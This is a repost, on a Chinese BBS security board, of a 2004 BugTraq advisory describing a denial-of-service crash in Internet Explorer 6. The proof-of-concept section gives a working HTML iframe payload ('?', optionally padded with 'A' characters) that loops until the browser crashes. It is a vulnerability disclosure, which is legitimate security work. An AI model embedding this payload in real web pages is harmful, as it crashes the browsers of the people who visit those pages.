发信人：tshxp@smth.org (I'll be back)，信区：cn.bbs.comp.security
标 题：Internet Explorer 6 - Crash (转载)
发信站：BBS 水木清华站
转信站：LeafOK!netnews.sdu.edu.cn!news.happynet.org!maily.cic.tsinghua
.edu.cn!SMTH
【 以下文字转载自 BugTraqML 讨论区 】
发信人: me@cipher.org.uk ("E.Kellinis"), 信区: BugTraqML
标 题: Internet Explorer 6 - Crash
发信站: NCTU CSIE FreeBSD Server (Thu Apr 8 08:39:18 2004)
转信站: SMTH!maily.cic.tsinghua.edu.cn!sjc70.webusenet.com!news.usenets
erver.co
出 处: freebsd.csie.nctu.edu.tw
Formal Report
#########################################
Application: Internet Explorer
Vendors: http://www.microsoft.com
Version: 6.0.2800
Platforms: Windows
Bug: Crash(D.O.S)
Risk: Low
Exploitation: Local with browser
Date: 7 Apr 2004
Author: Emmanouel Kellinis
e-mail: me@cipher(dot)org(dot)uk
web: http://www.cipher.org.uk
List : BugTraq(SecurityFocus)
#########################################
=======
Product
=======
A popular Web browser, created by Microsoft,
used to view pages on the World Wide Web.
===
Bug
===
Iframe element(TAG) creates an inline frame
that contains another document. If you use the
character '?' as the document , Internet explorer
starts an infinite loop of IFrames inside Iframes ,
this causes IE's crash.
=====================
Proof Of Concept Code
=====================
Create a web page and you add an IFRAME which
points to --> ?
Example : < iframe src= " ? " >
Crashes completely IE 6 in about 20 secs and consumes
more than 24 MBs of RAM and uses 99% of the CPU power.
Additionally, memory consumption and Crashing time
can vary , depending on how many characters you add
after the '?' character.
< iframe src= " ?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA " >
Emmanouel Kellinis
http://www.cipher.org.uk
=========================================================
*PK:http://www.cipher.org.uk/files/pgp/cipherorguk.public.key.txt
=========================================================
|
